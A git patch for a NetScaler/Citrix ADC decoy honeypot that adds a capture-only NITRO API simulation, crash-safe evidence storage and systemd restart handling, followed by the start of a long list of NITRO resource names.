From c65f0492230621985826765474c42d203808f344 Mon Sep 17 00:00:00 2001 From: StasonJatham Date: Sun, 4 Oct 2026 06:16:31 +0200 Subject: [PATCH] Expand capture-only NetScaler NITRO simulation and crash recovery --- .env.example | 7 +- README.md | 37 +- deploy/decoy-viewer.service | 5 +- deploy/decoy.service | 11 +- evidence.py | 26 +- honeypot.py | 61 +- nitro-resources.json | 1675 +++++++++++++++++++++++++++++++++++ nitro.py | 174 ++++ test_capture.py | 48 +- test_nitro.py | 72 ++ 10 files changed, 2097 insertions(+), 19 deletions(-) create mode 100644 nitro-resources.json create mode 100644 nitro.py create mode 100644 test_nitro.py diff --git a/.env.example b/.env.example index 4b459c5..336de07 100644 --- a/.env.example +++ b/.env.example @@ -4,6 +4,8 @@ # --- Decoy listener (honeypot.py) --- HONEYPOT_BIND=0.0.0.0 HONEYPOT_PORT=8443 +# Synthetic NITRO identity only; does not change any installed appliance. +HONEYPOT_VERSION="NetScaler NS14.1: Build 29.63.nc" # Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables. HONEYPOT_PROXY_PROTOCOL_FROM= # Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted @@ -24,8 +26,9 @@ INGRESS_ALLOW_FROM= VIEWER_BIND=127.0.0.1 VIEWER_PORT=8787 VIEWER_LOG_DIR=/var/lib/decoy/http -# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated. +# Extra client IPs to hide. Comma-separated. The supplied service disables public-IP discovery. VIEWER_HIDE_IP= # --- VM execution backend (optional, isolated guest only) --- -DECOY_VM_CONFIG=/etc/decoy-vm.json +DECOY_VM_CONFIG= +# Strict --simulation-only mode refuses a configured execution backend. diff --git a/README.md b/README.md index 655866f..d3def83 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,40 @@ exploit attempts, not a real appliance and not a vulnerability scanner. ## What it does +### Capture-only deployment + +Use `--simulation-only` to refuse execution and URL fetching. The supplied HTTP service uses +this mode and does not depend on an execution guest or relay. The loopback viewer service +disables external public-IP discovery. These services create no backups. + +The NITRO simulator supports login/logout cookies, configuration and statistics resource routes, +named reads, fake POST/PUT/DELETE operations, enable/disable/rename acknowledgements, bindings, +`attrs`, literal `filter`/`args`, counts and pagination. Its catalog recognizes 1,493 configuration +names and 176 statistics names from the [official 14.1 reference](https://developer-docs.netscaler.com/en-us/adc-nitro-api/current-release/configuration/). Common appliance, network, +Gateway, AAA, load-balancing, SSL and binding resources have populated synthetic data; +unconfigured resources return empty collections. This is a protocol simulation, not a complete +implementation of every resource's schema or firmware behaviour. Fake changes are bounded, +per-source memory only and expire with sessions; NAT can merge clients. `HONEYPOT_VERSION` +controls the invented firmware banner. Uploaded files never become operating-system files +at submitted paths and are never served publicly. + +JSON `systemfile.filecontent` uploads are base64-decoded into inert artifacts while preserving +the original JSON body too. Binary, multipart, chunked and rejected-request evidence is retained +by the existing capture layer. Files are committed with atomic rename and directory fsync; +an interrupted journal tail is preserved separately from subsequent records. + +The supplied systemd unit restarts ordinary service crashes after five seconds. Enable VM +autostart separately when deploying on a hypervisor. Storage/capture failure +sets an evidence-directory `STOP` latch and exits78, preventing automatic restart. Review +storage and preserve captured evidence before explicitly clearing that latch. Capture has a +configurable evidence quota, a 16MiB request-body limit and eight concurrent requests. Cloudflare/NPM +may reject or normalize traffic before it reaches the collector; unread/rejected bytes beyond +these boundaries cannot be promised as captured. + +Checks: `python3 test_nitro.py`, `python3 test_capture.py`, `python3 test_honeypot.py` and +`python3 test_safety.py`. Optional execution tools described below are incompatible with +`--simulation-only` and are not used by the supplied HTTP service. + - Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`, `/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the `rdx`/`CTXS` scripts and favicon fingerprint that scanners look for. @@ -82,7 +116,7 @@ git clone citrixpot && cd citrixpot cp .env.example .env # edit to taste python3 test_honeypot.py # run the test suite set -a; . ./.env; set +a -python3 honeypot.py & # decoy on http://127.0.0.1:8443 +python3 honeypot.py --simulation-only & # decoy on http://127.0.0.1:8443 python3 viewer.py # analyst UI on http://127.0.0.1:8787 ``` @@ -97,6 +131,7 @@ All settings come from the environment (or a `.env` file / systemd `EnvironmentF | Variable | Purpose | |---|---| | `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port | +| `HONEYPOT_VERSION` | synthetic NITRO firmware banner | | `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) | | `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted | | `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota | diff --git a/deploy/decoy-viewer.service b/deploy/decoy-viewer.service index 8668762..c7cbf82 100644 --- a/deploy/decoy-viewer.service +++ b/deploy/decoy-viewer.service @@ -3,7 +3,7 @@ Description=Local read-only honeypot evidence viewer (loopback only) After=network-online.target [Service] EnvironmentFile=/etc/decoy.env -ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR} +ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --no-hide-public-ip --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR} WorkingDirectory=/opt/decoy UMask=0077 NoNewPrivileges=true @@ -14,6 +14,7 @@ ReadOnlyPaths=/var/lib/decoy RestrictAddressFamilies=AF_INET MemoryMax=256M TasksMax=32 -Restart=no +Restart=on-failure +RestartSec=5 [Install] WantedBy=multi-user.target diff --git a/deploy/decoy.service b/deploy/decoy.service index 64a3198..284569e 100644 --- a/deploy/decoy.service +++ b/deploy/decoy.service @@ -1,16 +1,19 @@ [Unit] Description=NetScaler decoy HTTP and evidence collector -After=network-online.target decoy-network.service -Requires=decoy-network.service +After=network-online.target +StartLimitIntervalSec=300 +StartLimitBurst=10 [Service] EnvironmentFile=/etc/decoy.env # Simulation only: attacker commands are parsed, stored and answered, never executed. # Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest; # never enable it on an internet-facing listener. All values come from /etc/decoy.env. -ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB} +ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --simulation-only --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB} WorkingDirectory=/opt/decoy UMask=0077 -Restart=no +Restart=on-failure +RestartSec=5 +RestartPreventExitStatus=78 NoNewPrivileges=true PrivateTmp=true ProtectSystem=strict diff --git a/evidence.py b/evidence.py index 2f4a0e9..0c5b85b 100644 --- a/evidence.py +++ b/evidence.py @@ -6,6 +6,7 @@ import os import pathlib import threading import time +import tempfile class EvidenceError(OSError): @@ -25,6 +26,21 @@ class Evidence: self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file()) self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600) os.fchmod(self.journal, 0o600) + # Preserve a crash-interrupted record without merging the next event into it. + with (self.directory / 'events.jsonl').open('rb') as previous: + previous.seek(0, os.SEEK_END) + if previous.tell(): + previous.seek(-1, os.SEEK_END) + if previous.read(1) != b'\n': + self.reserve(1) + os.write(self.journal, b'\n') + os.fsync(self.journal) + self.used += 1 + directory = os.open(self.directory, os.O_RDONLY) + try: + os.fsync(directory) + finally: + os.close(directory) def reserve(self, size): if self.used + size > self.quota: @@ -50,14 +66,20 @@ class Evidence: with self.lock: if not path.exists(): self.reserve(len(data)) - fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600) + fd, temporary = tempfile.mkstemp(prefix='.capture-', dir=self.artifacts) try: with os.fdopen(fd, 'wb') as output: output.write(data) output.flush() os.fsync(output.fileno()) + os.replace(temporary, path) + directory = os.open(self.artifacts, os.O_RDONLY) + try: + os.fsync(directory) + finally: + os.close(directory) except BaseException: - path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash + pathlib.Path(temporary).unlink(missing_ok=True) raise self.used += len(data) return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name) diff --git a/honeypot.py b/honeypot.py index 1869147..8898eb3 100644 --- a/honeypot.py +++ b/honeypot.py @@ -1,6 +1,8 @@ #!/usr/bin/env python3 """Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution.""" import argparse +import base64 +import binascii import collections import email.parser import email.policy @@ -8,6 +10,7 @@ import hashlib import html import http.server import ipaddress +import json import os import pathlib import posixpath @@ -21,6 +24,7 @@ import time import urllib.parse from trusted_proxy import source as proxy_source, forwarded_client from evidence import Evidence, EvidenceError, RecordingReader +from nitro import respond as nitro_response from env_file import load, env_int MAX_BODY = 16 * 1024 * 1024 @@ -305,7 +309,7 @@ class Server(http.server.ThreadingHTTPServer): # Only a hop (the PROXY-declared source) inside one of these networks may set client headers. self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded] self.capture_failed = False - self.slots = threading.BoundedSemaphore(32) + self.slots = threading.BoundedSemaphore(8) self.local = threading.local() super().__init__(address, Handler) @@ -367,6 +371,15 @@ class Server(http.server.ThreadingHTTPServer): if self.capture_failed: return self.capture_failed = True + if self.engine.save: + store = getattr(self.engine.save, '__self__', None) + if isinstance(store, Evidence): + try: + marker = store.directory / 'STOP' + marker.write_text('Capture failed; preserve evidence and review storage before clearing.\n') + marker.chmod(0o600) + except OSError: + pass if self.engine.backend: try: self.engine.backend.close(trip=True) @@ -522,6 +535,19 @@ class Handler(http.server.BaseHTTPRequestHandler): except ValueError: self.event('form_parse_error', raw_body_retained=True) return [] + if kind == 'application/json': + try: + document = json.loads(body) + files = document.get('systemfile', []) if isinstance(document, dict) else [] + files = [files] if isinstance(files, dict) else files + if isinstance(files, list): + for item in files[:128]: + if isinstance(item, dict) and isinstance(item.get('filecontent'), str): + content = base64.b64decode(item['filecontent'], validate=True) + self.event('upload', filename=item.get('filename'), field='systemfile.filecontent', + content_type='application/octet-stream', content=content) + except (ValueError, RecursionError, binascii.Error): + self.event('json_upload_parse_error', raw_body_retained=True) if body: self.event('upload_or_raw_payload', filename=None, content=body) if self.server.engine.backend: @@ -568,6 +594,7 @@ class Handler(http.server.BaseHTTPRequestHandler): auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})): engine.auth_attempt(state, self.context, url.path) vm_read_path = None + extra_headers = [] with engine.lock: candidates = [('uri', urllib.parse.unquote(self.path))] candidates += [('header:' + key, value) for key, value in self.headers.items()] @@ -582,6 +609,9 @@ class Handler(http.server.BaseHTTPRequestHandler): '' + html.escape(state.sid) + '' '').encode() mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8' + elif url.path.startswith('/nitro/'): + code, result, extra_headers = nitro_response(state, self.command, url, body, self.headers) + data, mime = json.dumps(result).encode(), 'application/json' elif url.path not in LOGIN_PATHS: key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/')) if not self.server.serve_guest_files: @@ -611,6 +641,7 @@ class Handler(http.server.BaseHTTPRequestHandler): "img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; " "connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; " "report-uri /nscsp_violation/report_uri")] + headers.extend(extra_headers) self.event('response', status=code, headers=headers, content=data, body_suppressed=self.command == 'HEAD') self.send_response(code) @@ -642,6 +673,7 @@ def parse_trusted(spec): def main(): load() parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--simulation-only', action='store_true', help='refuse real execution and URL fetching') parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP') parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None, help='opt-in dedicated disposable guest SSH configuration') @@ -663,6 +695,8 @@ def main(): parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024), help='total evidence quota; stop rather than overwrite at this limit') args = parser.parse_args() + if args.simulation_only and (args.vm_config or args.allow_real_execution or args.fetch_payloads): + parser.error('--simulation-only cannot use execution or payload fetching') if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1: parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive') if args.vm_config and not args.allow_real_execution: @@ -671,7 +705,14 @@ def main(): parser.error('--allow-real-execution requires --vm-config') os.umask(0o077) directory = pathlib.Path(args.log_dir) - evidence = Evidence(directory, args.evidence_mib * 1024 * 1024) + if (directory / 'STOP').exists(): + print('Capture STOP latch exists; review storage before clearing.', file=sys.stderr) + raise SystemExit(78) + try: + evidence = Evidence(directory, args.evidence_mib * 1024 * 1024) + except OSError as error: + print(f'Evidence storage unavailable: {error}', file=sys.stderr) + raise SystemExit(78) context = None if args.cert: context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) @@ -699,10 +740,16 @@ def main(): server.stop_capture(error) break threading.Thread(target=worker, daemon=True).start() - engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port, - delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY, - serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend), - payload_fetch=bool(engine.fetcher)) + try: + engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port, + delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY, + serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend), + payload_fetch=bool(engine.fetcher)) + except EvidenceError as error: + server.stop_capture(error) + server.server_close() + evidence.close() + raise SystemExit(78) if engine.backend: print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest', file=sys.stderr, flush=True) @@ -721,7 +768,7 @@ def main(): server.server_close() evidence.close() if server.capture_failed: - raise SystemExit(1) + raise SystemExit(78) if __name__ == '__main__': diff --git a/nitro-resources.json b/nitro-resources.json new file mode 100644 index 0000000..1ae4ce8 --- /dev/null +++ b/nitro-resources.json @@ -0,0 +1,1675 @@ +{ + "config": [ + "aaa", + "aaacertparams", + "aaaglobal_aaapreauthenticationpolicy_binding", + "aaaglobal_authenticationnegotiateaction_binding", + "aaaglobal_binding", + "aaagroup", + "aaagroup_aaauser_binding", + "aaagroup_auditnslogpolicy_binding", + "aaagroup_auditsyslogpolicy_binding", + "aaagroup_authorizationpolicy_binding", + "aaagroup_binding", + "aaagroup_intranetip6_binding", + "aaagroup_intranetip_binding", + "aaagroup_tmsessionpolicy_binding", + "aaagroup_vpnintranetapplication_binding", + "aaagroup_vpnsecureprivateaccessprofile_binding", + "aaagroup_vpnsessionpolicy_binding", + "aaagroup_vpntrafficpolicy_binding", + "aaagroup_vpnurl_binding", + "aaagroup_vpnurlpolicy_binding", + "aaakcdaccount", + "aaaldapparams", + "aaaotpparameter", + "aaaparameter", + "aaapreauthenticationaction", + "aaapreauthenticationparameter", + "aaapreauthenticationpolicy", + "aaapreauthenticationpolicy_aaaglobal_binding", + "aaapreauthenticationpolicy_binding", + "aaapreauthenticationpolicy_vpnvserver_binding", + "aaaproxyparam", + "aaaradiusparams", + "aaasession", + "aaassoprofile", + "aaatacacsparams", + "aaauser", + "aaauser_aaagroup_binding", + "aaauser_auditnslogpolicy_binding", + "aaauser_auditsyslogpolicy_binding", + "aaauser_authorizationpolicy_binding", + "aaauser_binding", + "aaauser_intranetip6_binding", + "aaauser_intranetip_binding", + "aaauser_tmsessionpolicy_binding", + "aaauser_vpnintranetapplication_binding", + "aaauser_vpnsecureprivateaccessprofile_binding", + "aaauser_vpnsessionpolicy_binding", + "aaauser_vpntrafficpolicy_binding", + "aaauser_vpnurl_binding", + "aaauser_vpnurlpolicy_binding", + "accesslist", + "adm", + "admparameter", + "analytics", + "analyticsglobal_analyticsprofile_binding", + "analyticsglobal_binding", + "analyticsprofile", + "api", + "apiprofile", + "apiprofile_apispec_binding", + "apiprofile_binding", + "apispec", + "apispec_binding", + "apispec_specendpoint_binding", + "apispecfile", + "app", + "appalgparam", + "appflow", + "appflowaction", + "appflowaction_analyticsprofile_binding", + "appflowaction_binding", + "appflowcollector", + "appflowglobal_appflowpolicy_binding", + "appflowglobal_binding", + "appflowparam", + "appflowpolicy", + "appflowpolicy_appflowglobal_binding", + "appflowpolicy_appflowpolicylabel_binding", + "appflowpolicy_binding", + "appflowpolicy_csvserver_binding", + "appflowpolicy_lbvserver_binding", + "appflowpolicy_vpnvserver_binding", + "appflowpolicylabel", + "appflowpolicylabel_appflowpolicy_binding", + "appflowpolicylabel_binding", + "appfw", + "appfwarchive", + "appfwconfidfield", + "appfwcustomsettings", + "appfwfieldtype", + "appfwglobal_appfwpolicy_binding", + "appfwglobal_auditnslogpolicy_binding", + "appfwglobal_auditsyslogpolicy_binding", + "appfwglobal_binding", + "appfwgrpccontenttype", + "appfwgrpcwebjsoncontenttype", + "appfwgrpcwebtextcontenttype", + "appfwhtmlerrorpage", + "appfwjsoncontenttype", + "appfwjsonerrorpage", + "appfwlearningdata", + "appfwlearningsettings", + "appfwmultipartformcontenttype", + "appfwpolicy", + "appfwpolicy_appfwglobal_binding", + "appfwpolicy_appfwpolicylabel_binding", + "appfwpolicy_binding", + "appfwpolicy_csvserver_binding", + "appfwpolicy_lbvserver_binding", + "appfwpolicy_vpnvserver_binding", + "appfwpolicylabel", + "appfwpolicylabel_appfwpolicy_binding", + "appfwpolicylabel_binding", + "appfwpolicylabel_policybinding_binding", + "appfwprofile", + "appfwprofile_appfwconfidfield_binding", + "appfwprofile_binding", + "appfwprofile_blockkeyword_binding", + "appfwprofile_bypasslist_binding", + "appfwprofile_cmdinjection_binding", + "appfwprofile_contenttype_binding", + "appfwprofile_cookieconsistency_binding", + "appfwprofile_creditcardnumber_binding", + "appfwprofile_crosssitescripting_binding", + "appfwprofile_csrftag_binding", + "appfwprofile_denylist_binding", + "appfwprofile_denyurl_binding", + "appfwprofile_excluderescontenttype_binding", + "appfwprofile_fakeaccount_binding", + "appfwprofile_fieldconsistency_binding", + "appfwprofile_fieldformat_binding", + "appfwprofile_fileuploadtype_binding", + "appfwprofile_grpcvalidation_binding", + "appfwprofile_jsonblockkeyword_binding", + "appfwprofile_jsoncmdurl_binding", + "appfwprofile_jsondosurl_binding", + "appfwprofile_jsonsqlurl_binding", + "appfwprofile_jsonxssurl_binding", + "appfwprofile_logexpression_binding", + "appfwprofile_restvalidation_binding", + "appfwprofile_safeobject_binding", + "appfwprofile_sqlinjection_binding", + "appfwprofile_starturl_binding", + "appfwprofile_trustedlearningclients_binding", + "appfwprofile_xmlattachmenturl_binding", + "appfwprofile_xmldosurl_binding", + "appfwprofile_xmlsqlinjection_binding", + "appfwprofile_xmlvalidationurl_binding", + "appfwprofile_xmlwsiurl_binding", + "appfwprofile_xmlxss_binding", + "appfwprotofile", + "appfwsettings", + "appfwsignatures", + "appfwtransactionrecords", + "appfwurlencodedformcontenttype", + "appfwwsdl", + "appfwxmlcontenttype", + "appfwxmlerrorpage", + "appfwxmlschema", + "application", + "appqoe", + "appqoeaction", + "appqoecustomresp", + "appqoeparameter", + "appqoepolicy", + "appqoepolicy_binding", + "appqoepolicy_lbvserver_binding", + "arp", + "arpparam", + "audit", + "auditmessageaction", + "auditmessages", + "auditnslogaction", + "auditnslogglobal_auditnslogpolicy_binding", + "auditnslogglobal_binding", + "auditnslogparams", + "auditnslogpolicy", + "auditnslogpolicy_aaagroup_binding", + "auditnslogpolicy_aaauser_binding", + "auditnslogpolicy_appfwglobal_binding", + "auditnslogpolicy_auditnslogglobal_binding", + "auditnslogpolicy_authenticationvserver_binding", + "auditnslogpolicy_binding", + "auditnslogpolicy_csvserver_binding", + "auditnslogpolicy_lbvserver_binding", + "auditnslogpolicy_systemglobal_binding", + "auditnslogpolicy_tmglobal_binding", + "auditnslogpolicy_vpnglobal_binding", + "auditnslogpolicy_vpnvserver_binding", + "auditsyslogaction", + "auditsyslogglobal_auditsyslogpolicy_binding", + "auditsyslogglobal_binding", + "auditsyslogparams", + "auditsyslogpolicy", + "auditsyslogpolicy_aaagroup_binding", + "auditsyslogpolicy_aaauser_binding", + "auditsyslogpolicy_auditsyslogglobal_binding", + "auditsyslogpolicy_authenticationvserver_binding", + "auditsyslogpolicy_binding", + "auditsyslogpolicy_csvserver_binding", + "auditsyslogpolicy_lbvserver_binding", + "auditsyslogpolicy_rnatglobal_binding", + "auditsyslogpolicy_systemglobal_binding", + "auditsyslogpolicy_tmglobal_binding", + "auditsyslogpolicy_vpnglobal_binding", + "auditsyslogpolicy_vpnvserver_binding", + "authentication", + "authenticationadfsproxyprofile", + "authenticationauthnprofile", + "authenticationazurekeyvault", + "authenticationcaptchaaction", + "authenticationcertaction", + "authenticationcertpolicy", + "authenticationcertpolicy_authenticationvserver_binding", + "authenticationcertpolicy_binding", + "authenticationcertpolicy_vpnglobal_binding", + "authenticationcertpolicy_vpnvserver_binding", + "authenticationcitrixauthaction", + "authenticationdfaaction", + "authenticationdfapolicy", + "authenticationdfapolicy_binding", + "authenticationdfapolicy_vpnvserver_binding", + "authenticationemailaction", + "authenticationepaaction", + "authenticationldapaction", + "authenticationldappolicy", + "authenticationldappolicy_authenticationvserver_binding", + "authenticationldappolicy_binding", + "authenticationldappolicy_systemglobal_binding", + "authenticationldappolicy_vpnglobal_binding", + "authenticationldappolicy_vpnvserver_binding", + "authenticationlocalpolicy", + "authenticationlocalpolicy_authenticationvserver_binding", + "authenticationlocalpolicy_binding", + "authenticationlocalpolicy_systemglobal_binding", + "authenticationlocalpolicy_vpnglobal_binding", + "authenticationlocalpolicy_vpnvserver_binding", + "authenticationloginschema", + "authenticationloginschemapolicy", + "authenticationloginschemapolicy_authenticationvserver_binding", + "authenticationloginschemapolicy_binding", + "authenticationloginschemapolicy_vpnvserver_binding", + "authenticationnegotiateaction", + "authenticationnegotiatepolicy", + "authenticationnegotiatepolicy_authenticationvserver_binding", + "authenticationnegotiatepolicy_binding", + "authenticationnegotiatepolicy_vpnglobal_binding", + "authenticationnegotiatepolicy_vpnvserver_binding", + "authenticationnoauthaction", + "authenticationoauthaction", + "authenticationoauthidppolicy", + "authenticationoauthidppolicy_authenticationvserver_binding", + "authenticationoauthidppolicy_binding", + "authenticationoauthidppolicy_vpnvserver_binding", + "authenticationoauthidpprofile", + "authenticationpolicy", + "authenticationpolicy_authenticationpolicylabel_binding", + "authenticationpolicy_authenticationvserver_binding", + "authenticationpolicy_binding", + "authenticationpolicy_systemglobal_binding", + "authenticationpolicylabel", + "authenticationpolicylabel_authenticationpolicy_binding", + "authenticationpolicylabel_binding", + "authenticationprotecteduseraction", + "authenticationpushservice", + "authenticationradiusaction", + "authenticationradiuspolicy", + "authenticationradiuspolicy_authenticationvserver_binding", + "authenticationradiuspolicy_binding", + "authenticationradiuspolicy_systemglobal_binding", + "authenticationradiuspolicy_vpnglobal_binding", + "authenticationradiuspolicy_vpnvserver_binding", + "authenticationsamlaction", + "authenticationsamlidppolicy", + "authenticationsamlidppolicy_authenticationvserver_binding", + "authenticationsamlidppolicy_binding", + "authenticationsamlidppolicy_vpnvserver_binding", + "authenticationsamlidpprofile", + "authenticationsamlpolicy", + "authenticationsamlpolicy_authenticationvserver_binding", + "authenticationsamlpolicy_binding", + "authenticationsamlpolicy_vpnglobal_binding", + "authenticationsamlpolicy_vpnvserver_binding", + "authenticationsmartaccesspolicy", + "authenticationsmartaccesspolicy_authenticationvserver_binding", + "authenticationsmartaccesspolicy_binding", + "authenticationsmartaccessprofile", + "authenticationstorefrontauthaction", + "authenticationtacacsaction", + "authenticationtacacspolicy", + "authenticationtacacspolicy_authenticationvserver_binding", + "authenticationtacacspolicy_binding", + "authenticationtacacspolicy_systemglobal_binding", + "authenticationtacacspolicy_vpnglobal_binding", + "authenticationtacacspolicy_vpnvserver_binding", + "authenticationvserver", + "authenticationvserver_auditnslogpolicy_binding", + "authenticationvserver_auditsyslogpolicy_binding", + "authenticationvserver_authenticationcertpolicy_binding", + "authenticationvserver_authenticationldappolicy_binding", + "authenticationvserver_authenticationlocalpolicy_binding", + "authenticationvserver_authenticationloginschemapolicy_binding", + "authenticationvserver_authenticationnegotiatepolicy_binding", + "authenticationvserver_authenticationoauthidppolicy_binding", + "authenticationvserver_authenticationpolicy_binding", + "authenticationvserver_authenticationradiuspolicy_binding", + "authenticationvserver_authenticationsamlidppolicy_binding", + "authenticationvserver_authenticationsamlpolicy_binding", + "authenticationvserver_authenticationsmartaccesspolicy_binding", + "authenticationvserver_authenticationtacacspolicy_binding", + "authenticationvserver_authenticationwebauthpolicy_binding", + "authenticationvserver_binding", + "authenticationvserver_cachepolicy_binding", + "authenticationvserver_cspolicy_binding", + "authenticationvserver_responderpolicy_binding", + "authenticationvserver_rewritepolicy_binding", + "authenticationvserver_tmsessionpolicy_binding", + "authenticationvserver_vpnportaltheme_binding", + "authenticationwebauthaction", + "authenticationwebauthpolicy", + "authenticationwebauthpolicy_authenticationvserver_binding", + "authenticationwebauthpolicy_binding", + "authenticationwebauthpolicy_systemglobal_binding", + "authenticationwebauthpolicy_vpnglobal_binding", + "authenticationwebauthpolicy_vpnvserver_binding", + "authorization", + "authorizationaction", + "authorizationpolicy", + "authorizationpolicy_aaagroup_binding", + "authorizationpolicy_aaauser_binding", + "authorizationpolicy_authorizationpolicylabel_binding", + "authorizationpolicy_binding", + "authorizationpolicy_csvserver_binding", + "authorizationpolicy_lbvserver_binding", + "authorizationpolicylabel", + "authorizationpolicylabel_authorizationpolicy_binding", + "authorizationpolicylabel_binding", + "autoscale", + "autoscaleaction", + "autoscalepolicy", + "autoscalepolicy_binding", + "autoscalepolicy_nstimer_binding", + "autoscaleprofile", + "azure", + "azureapplication", + "azurekeyvault", + "basic", + "bfd", + "bfdinterface", + "bfdsession", + "bgpprefix", + "bgprouter", + "bot", + "botglobal_binding", + "botglobal_botpolicy_binding", + "botpolicy", + "botpolicy_binding", + "botpolicy_botglobal_binding", + "botpolicy_botpolicylabel_binding", + "botpolicy_csvserver_binding", + "botpolicy_lbvserver_binding", + "botpolicylabel", + "botpolicylabel_binding", + "botpolicylabel_botpolicy_binding", + "botpolicylabel_policybinding_binding", + "botprofile", + "botprofile_binding", + "botprofile_blacklist_binding", + "botprofile_captcha_binding", + "botprofile_ipreputation_binding", + "botprofile_kmdetectionexpr_binding", + "botprofile_logexpression_binding", + "botprofile_ratelimit_binding", + "botprofile_tps_binding", + "botprofile_trapinsertionurl_binding", + "botprofile_whitelist_binding", + "botsettings", + "botsignature", + "bridgegroup", + "bridgegroup_binding", + "bridgegroup_nsip6_binding", + "bridgegroup_nsip_binding", + "bridgegroup_vlan_binding", + "bridgetable", + "cache", + "cachecontentgroup", + "cacheforwardproxy", + "cacheglobal_binding", + "cacheglobal_cachepolicy_binding", + "cacheobject", + "cacheparameter", + "cachepolicy", + "cachepolicy_binding", + "cachepolicy_cacheglobal_binding", + "cachepolicy_cachepolicylabel_binding", + "cachepolicy_csvserver_binding", + "cachepolicy_lbvserver_binding", + "cachepolicylabel", + "cachepolicylabel_binding", + "cachepolicylabel_cachepolicy_binding", + "cachepolicylabel_policybinding_binding", + "cacheselector", + "callhome", + "channel", + "channel_binding", + "channel_interface_binding", + "ci", + "cloud", + "cloudallowedngsticketprofile", + "cloudautoscalegroup", + "cloudawsparam", + "cloudcredential", + "cloudngsparameter", + "cloudparameter", + "cloudparaminternal", + "cloudprofile", + "cloudservice", + "cloudtunnel", + "cloudtunnelparameter", + "cloudtunnelvserver", + "cloudvserverip", + "cluster", + "cluster_grp", + "clusterfiles", + "clusterinstance", + "clusterinstance_binding", + "clusterinstance_clusternode_binding", + "clusternode", + "clusternode_binding", + "clusternode_routemonitor_binding", + "clusternodegroup", + "clusternodegroup_authenticationvserver_binding", + "clusternodegroup_binding", + "clusternodegroup_clusternode_binding", + "clusternodegroup_crvserver_binding", + "clusternodegroup_csvserver_binding", + "clusternodegroup_gslbsite_binding", + "clusternodegroup_gslbvserver_binding", + "clusternodegroup_lbvserver_binding", + "clusternodegroup_nslimitidentifier_binding", + "clusternodegroup_service_binding", + "clusternodegroup_streamidentifier_binding", + "clusternodegroup_vpnvserver_binding", + "clusterpropstatus", + "clustersync", + "clustersyncfailures", + "cmp", + "cmpaction", + "cmpglobal_binding", + "cmpglobal_cmppolicy_binding", + "cmpparameter", + "cmppolicy", + "cmppolicy_binding", + "cmppolicy_cmpglobal_binding", + "cmppolicy_cmppolicylabel_binding", + "cmppolicy_crvserver_binding", + "cmppolicy_csvserver_binding", + "cmppolicy_lbvserver_binding", + "cmppolicylabel", + "cmppolicylabel_binding", + "cmppolicylabel_cmppolicy_binding", + "cmppolicylabel_policybinding_binding", + "configuration", + "contentinspection", + "contentinspectionaction", + "contentinspectioncallout", + "contentinspectionglobal_binding", + "contentinspectionglobal_contentinspectionpolicy_binding", + "contentinspectionparameter", + "contentinspectionpolicy", + "contentinspectionpolicy_binding", + "contentinspectionpolicy_contentinspectionglobal_binding", + 